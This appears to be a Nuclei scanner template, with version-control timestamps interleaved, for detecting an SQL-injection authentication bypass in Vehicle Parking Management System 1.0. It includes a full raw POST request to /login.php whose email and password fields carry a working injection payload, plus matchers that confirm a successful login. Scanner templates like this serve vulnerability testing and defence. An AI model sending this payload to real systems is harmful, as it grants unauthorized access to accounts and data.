2020-10-15 19:42:37 +00:00
id : vpms-auth-bypass
info :
name : Vehicle Parking Management System 1.0 - Authentication Bypass
author : dwisiswant0
severity : high
2021-10-25 09:56:03 +00:00
description : The Vehicle Parking Management System allows remote attackers to bypass the authentication system by utilizing an SQL injection vulnerability in the 'password' parameter.
2021-02-12 05:53:01 +00:00
reference : https://www.exploit-db.com/exploits/48877
2021-09-09 13:38:13 +00:00
tags : auth-bypass
2020-10-15 19:42:37 +00:00
requests :
- raw :
- |
POST /login.php HTTP/1.1
Host : {{Hostname}}
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type : application/x-www-form-urlencoded
2021-09-08 12:17:19 +00:00
Referer : {{BaseURL}}/login.php
2020-10-15 19:42:37 +00:00
Cookie : PHPSESSID=q4efk7p0vo1866rwdxzq8aeam8
email=%27%3D%27%27or%27%40email.com&password=%27%3D%27%27or%27&btn_login=1
matchers-condition : and
matchers :
2021-04-28 12:07:39 +00:00
- type : word
words :
2020-10-15 19:42:37 +00:00
- "LAGOS PARKER"
- "Login Successfully"
- "location.href = 'index.php';"
condition : and
part : body
- type : status
status :
- 200
